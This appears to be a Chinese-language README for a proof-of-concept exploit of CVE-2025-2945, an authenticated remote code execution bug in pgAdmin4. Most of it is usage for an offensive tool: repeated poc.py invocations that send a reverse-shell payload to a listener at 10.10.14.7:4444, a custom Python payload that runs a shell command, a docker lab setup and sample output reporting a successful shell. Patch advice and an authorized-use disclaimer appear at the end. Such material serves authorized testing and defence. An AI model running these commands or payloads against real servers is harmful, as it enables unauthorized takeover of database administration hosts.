作者: G0D150NE
版本: 2.0.0
CVE: CVE-2025-2945
严重等级: 严重(CVSS 9.9)
针对影响版本 8.10 到 9.1 的 pgAdmin4 远程代码执行(RCE) 漏洞的漏洞利用。
该漏洞存在于 /sqleditor/query_tool/download 端点中,query_commited 参数未经清理便传入 Python 的 eval() 函数,从而允许任意代码执行。
# Clone or download the script
git clone https://github.com/g0d150ne/CVE-2025-2945
cd CVE-2025-2945
# Install dependencies
pip install requests
基本用法
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444
启用详细输出
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
-v
自定义载荷
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
--custom-payload "__import__('os').system('whoami > /tmp/test.txt')"
跳过版本检查
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
--skip-version-check
参数 必需 说明 --target-url 是 pgAdmin4 的基础 URL(http://RHOST:PORT/) --username 是 pgAdmin4 登录邮箱 --password 是 pgAdmin4 登录密码 --db-user 是 数据库用户名 --db-pass 是 数据库密码 --db-name 是 数据库名称 --Rhost 是 反向 Shell 监听器 IP --Rport 是 反向 Shell 监听器端口 --max-server-id 否 要扫描的最大服务器 ID(默认:10) --skip-version-check 否 跳过版本验证 --custom-payload 否 自定义 Python 载荷 --verbose, -v 否 启用调试输出 --no-banner 否 隐藏横幅
· Python 3.6+ · requests 库
pip install requests
# Docker pgAdmin vulnerable version
docker run -d -p 5050:5050 \
-e [email protected] \
-e PGADMIN_DEFAULT_PASSWORD=admin123 \
dpage/pgadmin4:8.10
# Then run the exploit
python3 poc.py \
--target-url http://localhost:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀
▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌
▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░▌
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░▌
▀▀▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░▌ ▀▀▀▀▀▀▀▀▀█░▌▐░▌
▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌▐░▌
▄▄▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄█░▌ ▄▄▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀
CVE-2025-2945 - pgAdmin4 Authenticated RCE
Author: G0D150NE
Version: 2.0.0
[*] Target running vulnerable version 8.10
[*] Authenticating as [email protected]...
[+] Authentication successful
[*] Scanning for valid server (SGID: 7, max: 10)...
[+] Found valid server (SGID: 7, SID: 1)
[*] Initializing SQL editor (trans_id: 4827193)...
[+] SQL editor initialized
[*] Reverse shell payload to 10.10.14.7:4444
[*] Sending payload...
[+] Payload delivered (HTTP 500)
[*] Check listener at your endpoint
[+] Exploit successful!
[*] Check reverse shell on 10.10.14.7:4444
· 将 pgAdmin4 升级到 9.2 或更高版本 · 限制对 pgAdmin 界面的访问 · 使用强凭据 · 如可用,请启用 MFA
本工具仅用于授权的安全测试和教育目的。未经明确许可针对系统使用是违法的。作者对任何滥用行为不承担任何责任。
· CVE-2025-2945 · pgAdmin 安全公告
MIT 许可证